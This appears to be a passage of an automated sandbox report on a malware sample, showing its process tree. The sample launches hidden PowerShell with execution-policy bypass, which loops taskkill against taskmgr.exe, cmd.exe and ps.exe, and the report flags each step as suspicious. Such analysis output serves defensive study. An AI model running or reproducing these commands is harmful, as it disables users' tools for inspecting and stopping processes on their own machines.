C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskmgr.exe4⤵PID:4552
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskmgr.exe4⤵PID:2488
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskmgr.exe4⤵PID:1684
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskmgr.exe4⤵PID:4184
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskmgr.exe4⤵PID:3768
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskmgr.exe4⤵PID:4932
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskmgr.exe4⤵PID:4716
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskmgr.exe4⤵PID:3856
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskmgr.exe4⤵PID:3048
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskmgr.exe4⤵PID:4580
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskmgr.exe4⤵PID:2020
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskmgr.exe4⤵PID:4552
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskmgr.exe4⤵PID:4748
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskmgr.exe4⤵PID:824
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskmgr.exe4⤵PID:3900
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskmgr.exe4⤵PID:4572
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskmgr.exe4⤵PID:836
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskmgr.exe4⤵PID:3840
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskmgr.exe4⤵PID:1752
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskmgr.exe4⤵PID:1908
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskmgr.exe4⤵PID:2832
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -w hidden -c "while($true){ taskkill /f /im cmd.exe}"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4992 -
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:3604
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:2384
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:4784
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:3528
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:2460
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:1260
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:4892
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:4800
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:2596
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:4904
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:4728
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:4128
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:2736
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:4996
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4496
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1556
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:3772
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:3912
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:1496
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:1536
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:1384
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:3344
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:3980
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:600
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:3404
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:5068
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:5060
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:4348
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:4344
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:4528
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:3764
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:4500
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:1124
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵
- Kills process with taskkill
PID:4048
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:3576
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:2328
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:4272
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:3880
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:4056
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:2092
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:4584
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:5100
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:5024
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:1988
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:4088
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:2412
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:3112
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵
- Kills process with taskkill
PID:4064
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:1080
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:4060
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:3784
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:1972
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:4116
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵
- Kills process with taskkill
PID:4460
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:3100
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:2936
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:5116
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:4612
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:4420
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:3752
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:4064
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:4068
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:2324
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:4232
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:1176
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:4556
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:5088
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:1688
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:4364
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:1988
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:2692
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵
- Suspicious use of AdjustPrivilegeToken
PID:3772
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:1092
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:1384
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:4028
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵
- Suspicious use of AdjustPrivilegeToken
PID:3976
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:4868
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:4728
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:3684
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:4724
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:3796
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:2288
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:4116
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵
- Kills process with taskkill
PID:1444
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:2160
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:1584
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:2348
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:3224
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:2332
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:2008
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:3812
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:3792
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:4776
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:1416
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:1444
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:788
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:2056
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:4028
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:5024
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:3192
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:1884
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:2860
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:3772
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:1972
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:4884
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:3852
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:4156
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:4584
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:3688
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵
- Kills process with taskkill
PID:2456
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:1884
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:5032
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:4116
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:4888
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:2596
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:2184
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:4196
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:4104
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:3984
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:3912
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:4068
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:1416
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:3576
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:348
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:4924
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:4900
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:3296
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:2816
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:3780
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:4532
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:4020
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:2884
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:2772
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:4704
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:3980
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:4868
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:4088
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:3112
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:3528
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:1232
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:4044
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:380
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:1468
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:4664
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:3600
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:3692
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4364
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:3732
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:2456
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵
- Kills process with taskkill
PID:4180
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:4224
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:3824
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:1468
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:2444
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:3080
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:4788
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:4140
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵
- Kills process with taskkill
PID:576
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:3996
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:4228
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:2764
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:3876
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:5112
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:4928
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:4688
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:1284
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:4532
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:4012
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im cmd.exe4⤵PID:4892
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -w hidden -c "while($true){ taskkill /f /im ps.exe}"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3708 -
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4348
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4724
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:3700
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4392
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4768
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4216
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4244
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4844
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:3616
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:1540
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:2368
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:2292
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:5044
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4976
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4696
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:3824
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵
- Suspicious use of AdjustPrivilegeToken
PID:3180
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:2748
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:1216
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:2884
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4812
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4464
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:3936
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:348
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4924
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:2448
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:1752
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:1988
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4520
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4228
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4336
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:2716
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:3528
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:1248
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4184
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:3128
-
-
